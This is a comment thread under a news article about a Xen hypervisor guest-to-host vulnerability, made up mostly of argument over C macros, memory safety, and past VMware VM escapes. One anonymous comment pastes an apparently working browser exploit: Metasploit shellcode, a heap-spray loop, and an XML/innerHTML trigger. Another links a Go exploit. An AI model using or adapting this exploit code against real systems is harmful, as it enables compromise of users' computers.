back to article Patch this braXen bug: Hypervisor hole lets guest VMs hijack hosts

The Xen hypervisor project today released nine security patches that should be applied ASAP – particularly the one that stops guest virtual machines seizing control of host servers. That vulnerability – XSA-148 – can be exploited by a paravirtualized guest to manipulate the memory layout of the underlying system, and …

  1. Nate Amsden

    has there ever been a hole like this in vmware esx?

    I've thought about it from time to time and I really can't recall of any security issues in esx that allowed this kind of thing to happen. I just did a quick check and I see one related to vmware workstation(which I do recall that issue). Though obviously workstation and esx are totally different beasts.

    I see an issue related to vmware cloud (vcloud I assume?) a few years ago that allowed someone to upload a vmdk that allowed the person to apparently read any file on the system(never have/will use vcloud anyway).

    But I can't think of any time where if you were in a guest you could get to the host somehow. I do recall issue(s) related to the kernel file system driver that grants access to the host file systems via the guest, though I believe that again was on the desktop products (never used that driver either).

    This is obviously not the first time such a bug has been exposed in Xen, a quick search shows one more from earlier in the year and apparently one more back in 2012, maybe more I didn't spend too long on it.

    1. Bronek Kozicki

      Re: has there ever been a hole like this in vmware esx?

      There might, or might not - you will only know if the source was audited but it won't happen because it's closed.

      1. Anonymous Coward
        Anonymous Coward

        Re: has there ever been a hole like this in vmware esx?

        Even been? There might still be one now. Maybe even one that they know about that was requested by the US government back when they were hitting up all the tech companies for their cooperation. A backdoor for a VM to own ESX and thus every VM running under it would be a pretty handy tool in the NSA's toolbox, would it not?

      2. Nate Amsden

        Re: has there ever been a hole like this in vmware esx?

        sorry should of been more clear

        Has there ever been one reported to the public, is more accurate of what I was asking.

        Obviously open or closed source bugs can exist.

    2. Michael Wojcik Silver badge

      Re: has there ever been a hole like this in vmware esx?

      CVE-2009-2267 - Tavis Ormandy and Julien Tinnes' #PF Exception attack.

      VMware would incorrectly push CS onto the stack in the wrong mode, which allowed a guest to elevate from ring 3 to ring 0. Ormandy demonstrated a successful exploit in Linux, and in fact published (after the fix was released) a working example on BUGTRAQ. Y'all updated VMware when that fix came out, right?

      Ormandy also famously1 demonstrated a similar VM-escaping attack (the #GP Trap attack) for Windows VDMs. That was CVE-2010-0232.

      In short: Assume there are ways that a really knowledgeable attacker can escape a VM. Maybe there aren't, but (particularly on the permissions hodgepodge that is x86) it's better to assume otherwise. Defend in depth.

      Or, like Amazon, just declare that the attack doesn't apply to you, for reasons that you don't need to explain. Because suck it.

      1At least in those circles where it's famous.

  2. Mage Silver badge
    Facepalm

    entanglement of C macros

    That was the FIRST thing I learnt, when learning Assembler in 1979, was that macros are needed by large assembler programming projects, but really DANGEROUS.

    When I learnt C++ in 1987, then I learned that C macros are an evil throw back to Assembler.

    1) Always check Array bounds / strings

    2) Always sanitise stuff that uses SQL at back end.

    3) Never use Macros, not ever.

    What SEVEN years ago? That's 2008, over 20 years later.

    Why is it that almost all vulnerabilities are continued implementations contrary to what was realised in the 1980s?

    1. Joerg

      Re: entanglement of C macros

      "3) Never use Macros, not ever."

      You clearly learnt nothing. Really.

      If you ever got paid to write any code as professional in the business you surely could have only done as much a mess as the ones writing these open source projects.

    2. Anonymous Coward
      Anonymous Coward

      Re: entanglement of C macros

      "3) Never use Macros, not ever."

      If used properly macros are extremely powerful and make complex code a damn site more readable. Clearly you don't know how to use them properly and frankly you're probably better off using a sandboxed language to save you and everyone else from the fallout of your poor code.

      1. Anonymous Coward
        Anonymous Coward

        Re: entanglement of C macros

        Except that many sandboxed languages have been found to allow access outside the sandbox on multiple occasions. In the end it only needs one unpatched vulnerability and it's goodnight Vienna!

      2. Anonymous Coward
        Anonymous Coward

        Re: entanglement of C macros

        "3) Never use Macros, not ever."

        The problem is that C is such a bloody awful language that there isn't any alternative to using macros. Whilst C was cutting edge forty years ago, the world has moved on.

        Decent modern languages don't have macros for reasons that must be obvious from this article, and don't need them because they have safer alternatives. I guess what is really needed is a decent but non-OO language to replace C where it has to be used as an assembler substitute. C is far too widely outside of that limited domain, but I guess with its primitiveness making coding in it slow and error prone it keeps lots of people employed.

        1. Anonymous Coward
          Anonymous Coward

          Re: entanglement of C macros

          Clearly you don't understand C.

          Pray tell whats wrong with the following macro usage.

          uint32_t i = UINT32_MAX;

          Perhaps this is too risky for your tastes, ? how about printf("%s:%d called %s()\n",__FILE__,__LINE__,__func__);

          Leave us our sharp tools and return to your "productivity" approach.

          1. Anonymous Coward
            Anonymous Coward

            Re: entanglement of C macros

            Clearly you don't understand C.

            Sadly I understand it all too well :-(

            Pray tell whats wrong with the following macro usage.

            uint32_t i = UINT32_MAX;

            The problem here is that if someone silently adds a line like the following into one of the 5000 or so header files included via other header files which in turn are included by other header files that C programs usually use:

            #define UINT32_MAX (2) /* temporary hack */

            Then you won't know why your program stops working. Even worse, modules which include the header files before stdint.h will be probably be OK, afterwards and they won't which will make the problem even more cryptic. Proper languages have named manifest constants which do the same thing, so giving it a new value generates an error at compile time.

            But the real problem with macros is the appalling mess they can make. How about the ever popular

            #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))

            So, what does this do? c = MIN(i++,j++);

            1. Anonymous Coward
              Anonymous Coward

              @smooth newt

              The problem here is that if someone silently adds a line like the following into one of the 5000 or so header files included via other header files which in turn are included by other header files that C programs usually use:

              #define UINT32_MAX (2) /* temporary hack */

              That issue is not one of macro usage but of redefining names which are reserved by the standard.

              That is likely to lead to undefined behavior.

              #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))

              This is a function like macro, which does indeed have some caveats about their use.

              Firstly, your macro evaluates it's arguments more than once which is always a recipe for fun and games.

              Secondly, while incrementing twice is not undefined behaviour, this is likely to provide the wrong result, as it expands to c = (i++ < j++) ? i++ : j++

              Passing expressions with side-effects as macro arguments is a problem, I agree.

              if you desperately need to implement that as a function like macro, the following is safer.

              # the only macro argument evaluated more than once is a "type name", which *cannot* have side-effects.

              #define MIN(T,R,X,Y,) do { \

              T tmpA = X; T tmpB = Y; \

              R = (T)((tmpA < tmpB) \

              ? (tmpA) \

              : (tmpB) ); \

              }while(0)

              int c;

              MIN(int,c,i++,j++);

            2. Anonymous Coward
              Anonymous Coward

              Re: entanglement of C macros

              Incidentally including user modules prior to standard library includes is another no-no.

              So in short.

              1) include headers from the standard library prior to user headers

              2) don't redefine names which are reserved for the implementation.

              3) don't evaluate non-typename arguments more than once in the body of a function like macro.

              Of these, only (3) is really anything to do with macros, and (1) and (2) are really "namespace pollution" in disguise.

              It is tempting to render (3) as "don't use function like macros", however I think of the macro preprocessor as a convenient facility for code-generation, or limited reflection.

              Protothreads (duffs device around __LINE__ ) are an example of the sort of creative misuses that the preprocessor opens up.

              C is a systems programming language, and systems programming without macros or templates is very difficult. C++ gives you templates to remove most of the macros use cases, but the token pasting and stringizing for example was retained, and rightly so in my view.

  3. jzl

    C

    C is like heroin. Powerful, addictive, incredibly dangerous and users will go to any extremes to keep on doing it despite the costs and the damage.

    C (++) needs to die.

    1. jzl

      Re: C

      "But it's not the language, it's the bad developers!" they cry.

      Fine, whatever, but does it matter what the cause is? Safe libraries for C have been around for a very long time. Why hasn't the situation improved yet? If we could fix the bad developers, we would have already done so. We can't. So let's engineer it so they can't do so much harm.

    2. Mike Pellatt

      Re: C

      C++ - agreed

      C - show me another language which delivers damn near the same performance as assembler and allows explicit access to all the machine's registers (both of which are crucial for an operating system - I remember the OS that Olivetti wrote in Pascal) whilst giving you at last some decent higher-level constructs,and then I'd agree. And assembler with macros pretending to be higher-level isn't allowed. That's what we had before C.

      1. jzl

        Re: C

        D?

      2. jzl

        Re: C

        And for non-OS kernel use cases, for the most part, performance comes from good algorthims and good algorithms come from developer productivity.

        1. werdsmith Silver badge

          Reality

          It's lovely idealism.

          C and C++ are most often used in these type of scenarios, so they are the most likely to be exposed to these kind of mistakes.

          Replace them with something else and find you are now pointing the finger at the new thing.

          D (D2) is like the Esparanto of coding.

        2. Michael Wojcik Silver badge

          Re: C

          for the most part, performance comes from good algorthims

          Complete rot. The vast majority of embedded, business, and personal1 software is not CPU-bound, so "good [algorithms]" have relatively little effect on performance.

          good algorithms come from developer productivity

          What a bizarre fantasy.

          "Good" (by some metric) algorithms either already exist and are only waiting to be discovered, if you're a Platonist, or come from computer scientists - that is, people who do research into algorithms. The use of "good" algorithms in software is overwhelmingly determined by the use of libraries and frameworks supplied by a relatively small cadre of developers and used by a much, much larger group of application developers; since the latter group tend to lag the former by years, if not decades, the productivity of the former is not a constraint.

          1Except for graphically-intensive games, which these days do most of their computing on GPUs and not general-purpose CPUs anyway.

          1. jzl

            Re: C

            If you think that algorithms are the domain of libraries, or that they're not relevant in day-to-day development, then think again.

    3. Adam 52 Silver badge

      Re: C

      What would you replace it with?

    4. Anonymous Coward
      Anonymous Coward

      Re: C

      "C (++) needs to die."

      Feel free to try and write a hypervisor in Java or C#.

      1. jzl

        Re: C

        If something as difficult and rocket-sciency as a hypervisor, presumably written by the best of the best of the best, can still contain these sorts of problems, what hope for the vast bulk of C software?

        Most of which - unlike, perhaps, a hypervisor - could happily be written in any number of safe languages.

        As for the hypervisor, well what about D? It's a mature, robust language. Or if you insist on going all dawn-of-computing, how about Ada?

        1. Roo
          Windows

          Re: C

          Here's a good reason not to use the D compiler from the dlang.org folks...

          "The Software is not generally available software. It has not undergone

          testing and may contain errors. The Software was not designed to operate

          after December 31, 1999."

          ADA could be a pretty decent choice for a lot of applications, it has a decent range of compilers available and it has a fairly robust "standard" too. That said: having people create *easily* repeatable tests that provide good coverage is much more effective than waging yet another linguistic holy war.

          1. jzl

            Re: C

            My concern there is that any solution which requires that people change their behaviour en masse is doomed to failure. So "having people create *easily* repeatable tests" is doomed.

            If people were going to do that, they already would. Some do, lots don't and probably never will.

            As for the idea of D being not suitable for use after 1999, well that's just silly. D is in strong, active development.

            1. Roo

              Re: C

              "As for the idea of D being not suitable for use after 1999, well that's just silly. D is in strong, active development."

              Silly or not, it doesn't inspire confidence and subsequent adoption of D if those kinds of notices are in the license files at the top level of the source code for the reference implementation of the compiler for a language that not many people have on their CV.

              With respect to testing:

              "If people were going to do that, they already would. Some do, lots don't and probably never will."

              ... and people who write shit untested/untestable code will continue to write shit untested/untestable code even if they were made to use D because a language can't force people into producing good quality code. At best a language can make it easier to do the right thing - but that won't stop the kinds of thinkos and cockups I see on a daily basis. Case in point: I've seen people write this kind of crap when they meant a=4*b:

              a = b + b + b * b;

              Assembler, C, C++, D and Java won't catch that problem, on the other hand testing would catch it.

              Ultimately code should be judged on whether it's working as intended, and the only way you can determine if that is via testing...

              I think languages *can* have a beneficial effect on productivity - but that's another topic really. :)

            2. Anonymous Coward
              Anonymous Coward

              Re: C

              The problem is you and yours arguing that you can cut yourself with knives.

              The issue is simply, system programming languages are intended for system programmers.

              Not everybody is cut out to be a system programmer, that's doesn't mean the language is at fault.

              All of your complaints thus far can be summed up as "I don't know the language very well, so I can't just dip into it, like I can the other languages I pretend to know."

              Yes, complex things are complex, the Mars Rover is complex, written in C++.

              1. Anonymous Coward
                Anonymous Coward

                Re: C

                I only picked on your comment because it was there under my pointer. There are so many comments willy waving here about deficiencies in practice, language choice and possibly hair colour in one case that I might have made up.

                IT really needs to grow up, specifically the programmer parts although to be honest I've heard rather a lot of twaddle from sysadmins as well.

              2. jzl

                Re: C

                I'm not exactly saying the language is "at fault". I'm not even sure that "at fault" is a meaningful concept.

                I'm just saying that most of the major security flaws uncovered in code are down to two specific things: buffer overruns and pointer mismanagement. No matter how bad a developer is, most languages don't allow the first and make the second much less likely.

                It's not like I hate C. I don't. I enjoy writing in it - it's powerful, expressive and fun. I just don't think the risks of using it in production environments are worth it.

    5. Roo

      Re: C

      "C (++) needs to die."

      Nah, VMs need to die, and developers need to get used to the idea of running code on multi-user machines, and writing tests with a very high % of coverage.

      Admittedly my perspective may be somewhat warped by the fact that I spend a substantial portion of my life explaining to Java devs why their allegedly compute intensive apps spend most of their time doing I/O and why timeouts and Garbage Collection don't necessarily mix well in a distributed system. In fairness Microsoft's CLR seems to be a more numpty proof - fair play to MS.

      1. jzl

        Re: C

        You people defending C remind me of Americans defending guns.

        Guns don't kill people, people kill people.

        C doesn't cause security holes, people cause security holes.

        Whatever.

        1. werdsmith Silver badge

          Re: C

          But the primary purpose of a handgun is to kill people.

          So your comparison dies right there.

          1. jzl

            Re: C

            "But the primary purpose of a handgun is to kill people."

            Well, as we all know, C is short for "Confuse". The primary purpose of C is to confuse developers and produce security holes. Software is a side effect of code written in C.

            Also, I wasn't comparing guns and C. I was comparing argument styles. You might want to brush up on your language comprehension skills.

            1. Roo
              Windows

              Re: C

              "The primary purpose of C is to confuse developers and produce security holes."

              The origins and motivations that drove the development of C are well documented. If you look hard enough you may even find papers that describe C's predecessors too - like "B". FWIW I found the papers on B far more interesting, informative and useful than anything you have written so far. :)

    6. Anonymous Coward
      Anonymous Coward

      Re: C is like heroin

      You are more right than you know.

      It's still the only solution for palliative care.

      Heroin is a very safe substance when properly used by medical professionals, they call it Diamorphine.

      When people use a "mixture" of heroin and "any old rubbish", surprise, surprise it it's harmful.

      Just like C, Heroin will continue to be intensely useful to the "professional" communities, and frowned upon by the ignorant.

      C and C++ are very safe languages, they just require you to know what you are doing.

      Unfortunately that seems to be a bridge too far in our business.

    7. Michael Wojcik Silver badge

      Re: C

      C (++) needs to die.

      C and C++ are very different languages, and anyone who doesn't understand that isn't qualified to comment on them.

      1. jzl

        Re: C

        C and C++ are not *very* different. What an asinine thing to say. First, C++ is a superset of C. Second, the reason that C++ is dangerous come down to point 1.

        Inferring that I know nothing about them from what I said is ludicrous. I have twenty years of professional development experience under my belt, a number of them in C++. I know what I'm talking about. Also, you might want to look up the phrase "Ad hominem attack" on Google.

        If you want two very different languages, how about C and Haskell?

        1. Michael Wojcik Silver badge

          Re: C

          C and C++ are not *very* different. What an asinine thing to say.

          Well, you would know; you're the local expert on asinine claims.

          First, C++ is a superset of C.

          Here's a conforming C program which is not C++:

          int new(void) {return 0;} int main(void) {return new();}

          Second, the reason that C++ is dangerous come down to point 1.

          That claim, even if it weren't trivial and begging the question, is irrelevant to the claim that C and C++ are not different languages. Perhaps if you understood how to construct an argument, you'd understand how to read one.

          Inferring that I know nothing about them from what I said is ludicrous.

          I'd say the evidence is still on my side.

          I have twenty years of professional development experience under my belt

          Anyone who's looked at the body of extant C and C++ code knows that experience is not evidence that a programmer knows the language.

          Also, you might want to look up the phrase "Ad hominem attack" on Google.

          No need. I have an MA in rhetoric (Michigan State, 2013). You might want to explain where I employed argumentum ad hominem, though. (Of course, by "want' there I mean "ought to". I don't expect you have any desire to do so, since, as I already noted, you don't seem too capable when it comes to actual argumentation.)

          If you want two very different languages, how about C and Haskell?

          Yes, when entities X and Z are different, that certainly shows that X and Y can't be. Brilliant.

          The point you're staggering toward is irrelevant anyway. All TC programming languages are Kolmogorov-equivalent, so none of them are "very different" for large values of "very". When you start playing the "different syntax and affordances" game, C isn't "very" different from Unlambda or Brainfuck, much less Haskell or the rest of the ML family.

          In fact, it is the syntactic similarities and historical relationship between C and C++ which make their differences so important. C-like C++ is simply bad C++, and the greatest problem with C++ is that it attracts people who want to use it to write C-like code. That's quite different from the central problems with C.

  4. nijam Silver badge

    Well, for sure it is easy to misuse macros, to use them unnecessarily, or incompetently - but that is equally true of most constructs in most languages. So, to paraphrase Winston Churchill's comment on democracy:

    C is the worst programming language, except for all the others.

    1. jzl

      "C is the worst programming language, except for all the others."

      Most modern programming languages make it essentially impossible to create a buffer overrun vulnerability, for example. All languages are not equal.

      1. Anonymous Coward
        Anonymous Coward

        Rubbish

        Here a buffer oveflow in Javascript

        // windows/exec - 148 bytes

        // http://www.metasploit.com

        // Encoder: x86/shikata_ga_nai

        // EXITFUNC=process, CMD=calc.exe

        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!

        // works most of the time

        var spray = unescape("%u0a0a%u0a0a");

        do {

        spray += spray;

        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)

        memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");

        tag.innerHTML = xmlcode;

      2. Anonymous Coward
        Anonymous Coward

        Here another in Golang https://github.com/StalkR/misc/blob/master/go/race-interface.go

  5. Bronek Kozicki

    all these C-bashers ...

    ... of course do realize that there is nothing specific to C which has caused the bug? Even L2_DISALLOW_MASK macro is nothing else but definition of a constant, which might be a class scope or global / namespace scope variable in any other language, and the same bug would happen. Java, C#, you name it, you could write the same bug in any language which supports bit manipulation operators.

    Of course a programmer might choose to use enums instead of bits, thus making the bug less probable (as long as all these enums are not stored in a single integer field, for reasons we do not know about), but then in C he didn't have to use such a nasty combination of bit operators either.

  6. john R

    How is this a macro problem?

    Somebody has made a deliberate decision that in this context the Page Size Extension bit should be setable. They have implemented this in a perfectly transparent way using a macro.

    It turns out that allowing people to set the PSE bit was Not a Good Idea.

    How would MyFavouriteLanguageThatDoesNotAllowMacros have prevented this? It's not like the macro hides what it's doing.

    1. Anonymous Coward
      Anonymous Coward

      Re: How is this a macro problem?

      Totally agree, this is a bug which sufficient testing would have caught.

      Your point bears repeating, a failure to properly consider the implications of changing a protected variable, led to a bug.

      The variable's accessor and mutator were implemented as macros, which 1) did not contribute to the bug, 2) appear to have worked perfectly .

      The variable should not be accessible from the guest code, that bug has nothing to do with C or macros.

  7. BinkyTheMagicPaperclip Silver badge

    Qubes need to get over themselves

    Their article says, verbatim

    'Admittedly this is subtle bug, because there is no buggy code that could be spotted immediately. The bug emerges only if one looks at a bigger picture of logic flows'

    but 'On the other hand, it is really shocking that such a bug has been lurking in the core of the hypervisor for so many years'

    Oh Do Fuck Off. No, this is not a splendid situation. Yes, plenty of operating systems have privilege escalation bugs. Yes, Xen is now quite old, complex and large. Yes, some things could be arranged better - find me a project without flaws.

    If you depend on a project you should damn well contribute back to it, and as far as I can see Qubes do not. Their donation page - for an 'OS' that depends on Xen and Fedora, does not seem to donate back to them. Neither do they seem to contribute code to Xen (there are two matches for qubes, which appear to be borrowing code from qubes, not contributing to xen from qubes).

    When everyone realised just how creaky the internals of OpenSSL were, the OpenBSD project got off their arses and created LibreSSL. I await Qubes' efforts in doing something similarly productive - write your own bloody hypervisor if it's so easy, FreeBSD have, and the other BSDs are trying related outings.

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Other stories you might like